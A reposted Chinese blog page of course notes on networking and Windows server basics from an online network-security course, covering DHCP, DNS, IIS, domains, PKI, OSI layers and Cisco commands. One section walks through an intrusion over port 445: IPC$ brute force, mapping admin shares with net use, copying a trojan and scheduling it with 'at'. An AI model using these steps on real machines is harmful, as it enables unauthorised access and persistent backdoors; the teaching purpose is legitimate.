首页 > 其他分享 >B站千峰网安笔记

B站千峰网安笔记

时间:2023-07-21 11:57:32浏览次数:35  
标签:客户机 笔记 域名 DNS DHCP 网安 服务器 千峰 config

01、批处理操作

简单的cmd指令:

1、TXT文件可以更改后缀名来实现转换(.dat/.html)

2、@echo off 关闭回显指令(即不显示如何运行)

3、>nul是屏蔽屏幕显示 2>nul是屏蔽错误提示

4、分块指令 :1

5、跳转指令 qoto 3

02、服务器

服务器系统版本介绍

Windows服务器系统:win2000 win2003 win2008 win2012

Linux服务器系统Redhat Centos

用户管理

1.1用户概述

每个用户登录系统后,拥有不同的操作权限。

每个账户有自己唯一的SID(安全标识符)

用户SID:s-1-5-21-426206823-2579496042-500

系统SID:s-1-5-21-426206823-2579496042-14852678

用户UID:500

Windows系统管理员administrator的UID是500

普通用户的UID是1000开始

不同的账户拥有不同的权限,为不同的账户赋权限,也就是为不同账户的SID赋权限!

查看sid值:whoami/user

账户密码存储位置:c\windows\sysytem32\config\SAM #暴力破解/撞库

Windows系统上,默认密码最长有效期42天

1.2内置账户

l 给人使用的账户:

Administrator #管理员账户

Guest #来宾账户

l 计算机服务组件相关的系统账号

System #系统账号==权限至高无上

Local services #本地服务账号==权限等于普通用户

Network services #网络服务账户==权限等于普通用户

1.3配置文件

每个用户都有自己的配置文件(家目录),在用户第一次登录时自动产生,路径是:win7/win2008 c:\用户\

Xp/win2003 c:\Documents and Settings\

1.4Remote Dektop Process

图片1

步骤:
1、首先将配置网络,并实现客户机与服务器可以互通
2、服务器开启允许被远程控制:桌面右键属性 远程设置 - 选择允许 确定3、客户机上:开始 - 运行 - 输入mstsc 打开远程连接工具。
4、在mstsc工具上输入服务器的IP并点击确定
5、输入服务器的账号及密码。
注意:如使用非管理员账户登录远程,需要在服务器上将用户加入到远程桌面内置组Remote Desktop users中。

查看本机开放的所有端口:netstat -a -n

03、NTFS权限

文件系统概述:文件系统即在外部存储设备上组织文件的方法

常见的文件系统:

  1. FAT windows
  2. NTFS windows
  3. EXT linux常见

ntfs功能:

1、 提高磁盘读写性能

2、 可靠性

​ 加密文件系统

​ 访问控制列表(设置权限)

3、 磁盘利用率

​ 压缩

​ 磁盘配额

4、支持单个文件大于4个G

04、DHCP (自动分配IP地址)

1、DHCP

​ Dynamic(动态的)Host(主机)configure(安装)protocol(协议规则)即自动分配IP地址

DHCP协议端口是UDP 67/68

2、DHCP优点

​ 减少工作量、避免IP冲突、提高地址利用率

3、DHCP原理

​ 也成为DHCP租约过程,分为4个步聚:

1)客户机发送DHCPDiscovery广播包

​ 客户机广播请求IP地址(包含客户机的MAC地址)

2)服务器响应DHCPoffer广播包

​ 服务器响应提供的IP地址(但无子网掩码、网关等参数)

3)客户机发送DHCPRequest广播包

​ 客户机选择IP(也可认为确认使用哪个IP)

4)发送DHCP ACK广播包

​ 服务器确定了租约,并提供网卡详细参数IP、掩码、网关、DNS、租期等5、DHCP续约

4、DHCP续约

当50%过后,客户机会再次发送DHCP Request包,进行续约,如服务器无响应,则继续使用并在87.5%再次DHCP Request包,进行续约,如仍然无响应,并释放IP地址,及重新发送DHCP Discovery广播包来获取IP地址当无任何服务器响应时,自动给自己分配一个169.254.xx/16属于全球统一无效地址,用于临时内网通信!

5、部署DHCP服务器

1)iP地址固定(服务器必须固定IP地址)

2)安装DHCP服务插件

3)新建作用域及作用域选项

4)激活

5)客户机验证;

ipconfig /release 释放IP
ipconfig /renew   重新获取IP

7、地址保留

这对指定的MAC地址,固定动态分配IP地址

8、选项优先级

作用域选项>服务器选项
当服务器上有多个作用域时,可以在服务器选项上设置DNS服务器

9、DHCP备份

05、DNS

1、DNS

Domain Name Service

域名服务

作用:为客户机提供域名解析服务器

2、域名组成

2.1、域名组成概述

如“www.sina.com.cn"是一个域名,从严格意义上讲"sina.com.cn"才被称为域名(全球唯一),而“www”是主机名。

"主机名.域名”称为完全限定域名(FQDN)。一个域名下可以有多个主机,域名全球唯一,那么"主机名.域名"肯定也是全球唯一的。

以“sina.com.cn"域名为例,一般管理员在命名其主机的时候会根据其主机的功能而命名,比如网站的是www,博客的是blog,论坛的是bbs,那么对应的FQDN为www.sina.com.cn,blog.sina.com.cn,bbssina.com.cn。这么多个FQDN,然而我们只需要申请一个域名即”sina.com.cn”即可。

2.2域名组成

根域

顶级域

​ 国家顶级域 cn jp hk uk

​ 商业顶级域

				com 商业机构

​				edu  教育机构

​				org 民间组织架构

​				net 互联网

3、监听端口

TCP 53

UDP 53

4、DNS解析过程:

5、按照查询内容分类:

1)正向解析:已知域名,解析IP地址

2)反向解析:已知IP地址,解析域名

6、辅助DNS服务器

7、清除DNS缓存

9.1、客户机上清除缓存

​ ipconfig /flushdns

​ flushdns清空dns列表

​ displaydns展示dns列表

9.2、服务器上清除缓存

​ windows服务器:dns工具--查看--高级,调出缓存来,然后右键清除缓存

8、域名解析记录类型:

​ A记录:正向解析记录

​ CNAME记录:别名

​ PTR记录:反向解析记录

​ MX:邮件交换记录

​ NS:域名服务器解析

9、反向DNS

​ nslookup手工解析时T会进行一个反向解析

10、DNS服务器分类

​ 主要名称服务器

​ 辅助名称服务器

​ 根名称服务器

​ 高速缓存名称服务器

11、客户机域名请求解析顺序

​ DNS缓存----2本地hosts文件--3找本地DNS服务器

12、服务器对域名请求的处理顺序

​ 1.DNS高速缓存-2本地区域解析文件--3转发器--4根

​ 2.作为一个客户机,请求一个域名的顺序:缓存,host文件,请求书给服务器。服务器的处理:缓存,自己负责的区域,给服务器,根

​ 服务器的IP地址要静态地址,如果配了10.0.0.1(地址预留),从20开始,用来部署其他服务器。

客户机和本地dns服务器

1客户机与本地DNS服务器 2客户机与DNS转发器3 DNS转发器与本地DNS服务器三种递归

dns服务器下的所有客户机都可以享受到这个域名的解析,这个的dns以外的就不能

06、IIS

1.端口号:

TCP 20/21

2.FTP工作方式

主动模式

21端口:控制端口

20端口:数据端口

被动模式

21端口+随机端口作为数据传输端口

注意:
主被动模式,阐述的是数据传输过程

主被动模式选择权在客户机上!

主被动模式,所谓主或被是站在服务器的角度

3.部署FTP服务器

1)配置静态IP

2)安装IIS-ftp软件

3)使用默认站点或创建新的站点

注意:用户最终权限为FTP权限与NTFS权限取交集

建议: FTP权限全部勾选,然后具体的在NTFS里做

4.部署WEB服务器

1)配置静态IP地址

2)安装IIS-WEB插件

3)停用默认站点

4)新建网站-地址端口绑定-指定站点路径-设置权限

5)设置默认文档(设置首页)

07、域

1.Domain

2.内网环境:

1)工作组:默认模式,人人平等,不方面管理

2)域:人人不平等,集中管理,同一管理

3.域的特点:

集中/统一管理

4.域的的组成:

1)域控制器:DC (Domain Controller)

2)成员机

5.域的部署

  1. 安装域控制器--就生成了域环境
  2. 安装了活动目录--就生成了域控制器
  3. 活动目录: Active Directory = AD

6.活动目录

  1. AD
  2. 特点:集中管理/统一管理

7.组策略GPO

  1. 组策略:Group Policy =GPO
  2. 作用:通过组策略可以修改计算机的各种属性,如开始菜单、桌面背景、网络参数等。
  3. 组策略在域中,是基于OU来下发的
  4. 组策略在域中下发后,用户的应用顺序是:LSDOU
  5. 在应用过程中,如果出现冲突,后应用的生效
  6. 组策略的阻止继承及强制!
  7. 正常情况下:LSDOU顺序

08、PKI

1、PKI概述名称:

Public Key公钥基础设施Infra.

作用:通过加密技术和数字签名保证信息的安全

组成:公钥加密技术、数字证书、CA、RA

2、信息安全三要素

机密性
完整性
身份验证/操作的不可否认性

3、公钥加密技术

作用:实现对信息加密、数字签名等安全保障

加密算法:

  1. 对称加密算法加解密的密钥一致!
    DES 3DES AES
  1. 非对称加密算法

*通信双方各自产生一对公私钥

*双方各自交换公钥

*公钥和私钥为瓦相加解密关系!

*公私钥不可互相逆推!

​ RSA DH

x+5=y(对称加密算法)

x是原数据/原文

y是密文

5是key/密钥

4证书:

证书用于保证公密的合法性

证书格式遵循X.509标准

  1. 数字证书包含信息:使用者的公钥值
  2. 使用者标识信息 (如名称和电子邮件地址)
  3. 有效期(证书的有效时间)
  4. 颁发者标识信息
  5. 颁发者的数字签名

数字证书由权威公正的第三方机构即CA签发

CA是权威证书颁发机构,为了公正“公钥”的合法性!

机密性:使用对方的公钥加密

身份验证/数字签名:使用自己的私钥!

08、渗透简单入门(利用445端口漏洞)

手工测试端口号开放:telnet IP地址 测试端口

1、scanport扫描445端口

2、漏洞利用之IPC$:进行暴力破解:NTscan

3、net use [\10.1.1.2\ipc$](file://10.1.1.2/ipc$) 密码 /user:用户

==========================================

net use f: [\10.1.1.2\share](file://10.1.1.2/share) 密码 /user:用户

net use f:/del

net use * /del

net use f: [\10.1.1.2\c$](file://10.1.1.2/c$) 密码 /user:用户

4、制作木马:利用光盘上的黑鸽软件(远程管理)

5、植入木马(留后门)

copy d:\heihei.exe [\10.1.1.2\c$](file://10.1.1.2/c$)

6、设置计划任务自动执行木马:

net time [\10.1.1.2](file://10.1.1.2)

at [\10.1.1.2](file://10.1.1.2) 11:11”c:\heihei.exe”

7、等待肉鸡上线

09、OSI与TCP-IP5层协议

TCP/IP 5层协议簇/协议栈(同层使用相同的协议,下层为上层提供服务)

应用层 传输层 网络层 数据链路层 物理层

数据的封装与解封装过程

1、应用层(数据/PDU)

设备:PC/防火墙

协议:HTTP/80 HTTPS/443 SSH/22 DNS/53 Telnet/23 DHCP/67/68 FT20/21 SMTP/25 POP3/110 RDP/3389 SMB/445 Mysql/3306

包含应用层、表示层、会话层

表示层功能:实现与应用层数据之间的二进制转换

会话层功能:

端口号是由应用层协议(ftp、http、dhcp...)生成的

2、传输层(数据段/段)

设备:防火墙

协议:TCP / UDP

传输层功能:完成进程与进程之间的通讯(通过上层即应用层的端口号来完成通讯).

TCP(面向连接服务)提供可靠的数据传输,可以保证数据一定到达对方(TCP会与对方建立连接,这个连接中有数据重传机制)。

UDP(无连接服务)不可靠,没有重传机制。

TCP考虑的是安全性,UDP考虑的是性能

3、网络层(报文/包/IP包)

设备:路由器

协议:ICMP IP ARP

把原IP地址和目标IP地址写进IP包头

网络层功能:实现点对点之间的通讯

4、数据链路层(帧)

设备:交换机/网卡

协议:MAC子层协议+

网卡功能:添加MAC本地地址和目标地址,及FCS(frame check sequence)

帧格式: 有线802.3,无线802.11

MAC地址:也叫物理地址,全球唯一(查看方法:cmd ipconfig /all),长度:48位,6字节

FCS帧校验序列(利用循环校验算法),长度:4字节

类型字段的作用:识别上层协议,为上层提供服务

类型:

0x0800:上层为IP协议

0x0806:上层为ARP协议

电脑中的网卡只识别数字信号

5、物理层(比特bit)

设备:网线/光纤/空气

8bit = 1Byte字节     运营商100Mb/s

8bit=1Byte

1024B=1KB

1024KB=1MB

1024MB=1GB

1024GB=1TB

1024TB=1PB

信号:(模拟信号、数字信号)=电信号

光纤类型:1)单模光纤 2)多模光纤

网线/双绞线:5类网线、超5类网线、6类、7类

T568A :白绿、绿、白橙 、蓝、白蓝、橙、白棕、棕

T568B :白橙、橙、白绿、蓝、白蓝、绿、白棕、棕

网线的用途分类:
1.交叉线:一端为A,一端为B。同种设备间使用!

2.直通线:两端都是A或都是B。异种设备间使用!

3.全反线:一端为A,另一端为反A,也称onsole线

6、交换机

交换机的工作原理:

收到一个数据帧后:

1.首先通过学习帧中源MAC地址生成MAC地址表

2.然后检查帧中的目标MAC地址,并匹配MAC地址表:

​ 如表中有匹配项,则单播转发;

​ 如表中无匹配项,则除接受端口外广播转发;

3.MAC地址表的老化时间默认是300秒(可修改)

交换机的端口号:

E:10Mb  F:100Mb   G:1000Mb   Te:10000Mb

F0/1 0是模块号 1是接口号

接口速率自适应:1000/100/10M自适应

​ 速率工作模式可以为10,100,1000任何一种状态

端口状态:up/down

down的三种状态:

  1. 人工down掉

  2. 速率不匹配

  3. 双工模式不匹配(双工duplex)

    ​ 双工模式:单工(只能接收不能发送,早期BB机),半双工(不能同时接收和发送),全双工(可以同时接收和发送,手机聊天)

交换机基本工作模式及命令:

第一次配置网络设备,需要使用console线,在PC需要使用“超级终端”或其他软件。

1)用户模式:

switch>

可以查看交换机的基本简单信息,且不能做任何操作修改配置!

2)特权模式:

switch> enable
switch#

可以查看所有配置,且不能修改配置,但可以做测试、保存、初始化等操作。

3)全局配置模式:

switch# configure terminal
switch(config)#

默认不能查看配置!可以修改配置,且全局生效!

4)接口配置模式:

switch(config)# interface f0/1
switch(config-if)#

默认不能查看配置!可以修改配置,且对该端口生效

5)console口/线/控制台模式

默认不能查看配置!可以修改配置,且对console口生效!

交换机命令:

exit退出一级
end直接退到特权模式

3.配置主机名:

conf t
hostname 设备名

4.设置用户密码:

line co 0
password 密码
login
exit

5.tab补全键

快捷键:

ctrl+u:快捷删除光标所有字符
ctrl+a:快速定位光标到标首
ctrl+e:快速定位光标行尾

6)在内存中存在一个文件:running-config

第一次开机,系统会在内存中自动创建一个新的干净的running-config

7)保存配置:

en 
copy running-config startup-config
或write

8)交换机开机动作:

先去硬盘中查找startup-config是否存在;

如果不存在,在内存中创建新的running-config;

如果存在,则复制到内存中并改名running-config。

9)查看running-config配置

en
show running-config(sh run)

10)查看startup-config配置

show startup-config

11)重启设备:

en
reload

12)配置特权密码:

conf t
enable password 密码
enable secret 密码

password在running-config中以明文存在

secret在running-config中以密文存在

13)查看MAC地址表:

show mac-address-table

14)查看接口状态列表:

show ip intface brief
sh ip int b

15)手工开启接口:

int f0/x
	no shutdown
	exit

16)do的用法:其他模式加do空格可以强制使用特权模式下的命令

do sh run
do sh int b
do wr

17)删除配置

1.在哪配置的,就在哪删!

2.命令前加no空格

3.原命令中有参数,并且参数具有唯一性,则删除时不需要参数

conf t
hostname sw1

conf t
no homenane

18)清空/擦除/初始化配置

en
erase startup-config

7、路由器

1.为3层端口配置IP:

int f0/0
	ip add 10.1.1.254 255.255.255.0
	no shut
	exit

2.开启远程控制:

conf t
 transport input telnet/ssh/none/all
 password 密码
 login
 exit
conf t
hostname r1
ip domain-name r1.qf.com
crypto key generate rsa(生成秘钥对!)
line vty 0 4(开启虚拟终端)
  transport input telnet/ssh/none/all
  logiin local
  exit
username xx password 123.com

RSA:非对称加密算法(公钥+私钥)

交换机不能隔离网段,路由器用来隔离不同网段

为交换机配网关,通过PC管理员远程管理

3.为交换机配置管理IP:

conf t
int vlan 1
  ip add 10.1.1.253 255.255.255.0
  no shut

4.为交换机配置默认网关:

目的:可被跨网段管理!

conf t
ip default-gateway 10.1.1254

5.关闭自动解析功能:

cinf t
  no ip domain-lookup

标签:客户机,笔记,域名,DNS,DHCP,网安,服务器,千峰,config
From: https://www.cnblogs.com/huangshisan/p/17570907.html

相关文章

  • c#学习笔记
    PInvoke互操作技术c++编写---Person.cppextern"C"{_declspec(dllexport)intSum(inta,intb);}---Person.h#include"Person.h"#include"iostream"usingnamespacestd;intSum(inta,intb){returna+b;}c......
  • 机器学习笔记
    机器学习主要介绍基于统计学的MachineLearning方法,主要的参考书:周志华《机器学习》(西瓜书)鲁伟《机器学习公式推导与代码实现》刘建平-机器学习随笔-博客园预备知识机器学习三要素:模型、策略、算法。统计知识统计学的目标是利用概率论的数学工具,去推断总体的信息。一般......
  • 数据结构练习笔记——链式栈的设计与实现
    链式栈的设计与实现【问题描述】采用链式存储结构实现栈的基本操作,并借助栈实现进制转换。【输入形式】整数【输出形式】二进制数【样例输入】10【样例输出】1010#include<iostream>usingnamespacestd;#include<stdlib.h>structsnode{intdata;sn......
  • TypeScript 学习笔记
    什么是TypeScript?TypeScript是JavaScript的一个超集,支持ECMAScript6标准,它可以编译成纯javaScript,可以运行在任何浏览器上。安装TypeScriptnpminstall-gtypescript安装完成后我们可以使用tsc命令来执行TypeScript的相关代码tsc-vVersion5.1.6新建一个a......
  • Git 学习笔记
    Git学习笔记起步安装#在ubuntu上安装sudoaptinstallgit-all初次运行Git前的配置安装完git之后,要做的第一件事就是设置你的用户名和邮件地址,因为每一个git提交都会使用这些信息,它们会写入到你的每一次提交中,不可更改:gitconfig--globaluser.name"lockegogo......
  • 硬件笔记之黑苹果Ventura使用Drop DMR table配合disableIOMapperMapping quirks解决无
    0x00概述关键词:VT-d, appleVTD, 黑苹果,英特尔wifi蓝牙无法打开,AX210,WIFI6E,disableIOMapper,disableIOMapperMapping/*板U配置=>技嘉z590Master+10900kOS=>Ventura13.x引导=>OpenCore0.9.2蓝牙WIFI=>板载Intel®Wi-Fi6EAX210支持wifi6和蓝牙5.......
  • 快速幂·学习笔记
    快速幂是一个在O(log2n)的时间内计算ab的技巧,相比直接暴力计算O(n)的时间复杂度快了许多。原理在计算ab的时候,将b转换为kn*2n+kn-1*2n-1+……+k2*22+k1*21+k0*20(kn,kn-1,……k2,k1,k0取0或1),运用a(m+n)=am·an所以ab=a(kn*2n+kn-1*2n-1+……+k2*22+k1*21+k0*20)=kna2^n+kn-1a2^n-1+…......
  • webpack学习笔记
    webpack:学习目标:1知道能做什么,不能做什么学会webpack常用功能2了解大致原理知道webpack怎么工作,webpack结果文件怎么阅读3根据业务合理配置webpack 学习注意:1不要死记写法,记住规律2不要试图学会所有功能3了解原理,但没必要深入原理 课程安排:概念讲解+基本......
  • 7.20 类 学习笔记
    7.20学习笔记类的复用:可以通过创建多个对象来使用同一个类,避免重复编写相似的代码。继承:子类可以继承父类的属性和方法,从而实现代码的重用和扩展性。把类赋值给一个真正的实体,之后就具备其属性定义一个非model类采矿程序及架构学习泊松比:水平方向的变形/垂直方向变形......
  • LTE学习笔记六:MIMO多天线技术
    不断提高空中接口的吞吐率是无线制式的发展目标。MIMO多天线技术是LTE大幅提升吞吐率的物理层关键技术。MIMO技术和OFDM技术一起并称为LTE的两大最重要物理层技术。MIMO技术很多原理,涉及一些线性代数知识(我也不想学怎么用latex什么的写矩阵了),内容也很多,我学习LTE主要是想了......